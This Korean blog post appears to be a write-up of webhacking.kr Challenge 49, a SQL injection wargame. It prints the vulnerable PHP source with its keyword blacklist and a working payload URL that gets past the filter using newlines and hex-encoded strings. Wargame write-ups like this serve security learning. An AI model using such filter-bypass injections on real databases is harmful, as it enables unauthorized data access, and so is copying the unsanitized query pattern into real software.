문제를 살펴보면 다음과 같습니다.
<?php include "../../config.php"; if($_GET['view_source']) view_source(); ?><html> <head> <title>Challenge 49</title> </head> <body> <h1>SQL INJECTION</h1> <form method=get> level : <input name=lv value=1><input type=submit> </form> <?php if($_GET['lv']){ $db = dbconnect(); if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack"); $result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}")); echo $result[0] ; if($result[0]=="admin") solve(49); } ?> <hr><a href=./?view_source=1>view-source</a> </body> </html>
문제에서 lv 이란 GET 메소드 변수에 엄청나게 많은 필터링을 걸어두었군요.
그러나 우리는 저 험난한 과정을 뚫고 SQLi를 수행해야 합니다.
일단 따로 select나 or, and, 소괄호, 띄어쓰기, 탭이 안 된다고 나와있습니다.
띄어쓰기와 탭 대신 엔터로 우회하면 될 것 같으니 try try.
싱글쿼터는 우회할 수 없으니 0x로 대신합시다.
https://webhacking.kr/challenge/web-24/?lv=-1||id%0alike%0a0x61646d696e
'WARGAMES > webhacking.kr - old' 카테고리의 다른 글
Webhacking.kr_No50(450) - old (0) | 2020.01.15 |
---|---|
Webhacking.kr_No48(350) - old (0) | 2020.01.15 |
Webhacking.kr_No47(150) - old (0) | 2020.01.15 |
Webhacking.kr_No46(300) - old (0) | 2020.01.15 |
Webhacking.kr_No45(550) - old (0) | 2020.01.13 |
Webhacking.kr_No44(250) - old (0) | 2020.01.13 |
Webhacking.kr_No43(250) - old (0) | 2020.01.08 |
Webhacking.kr_No42(200) - old (0) | 2020.01.08 |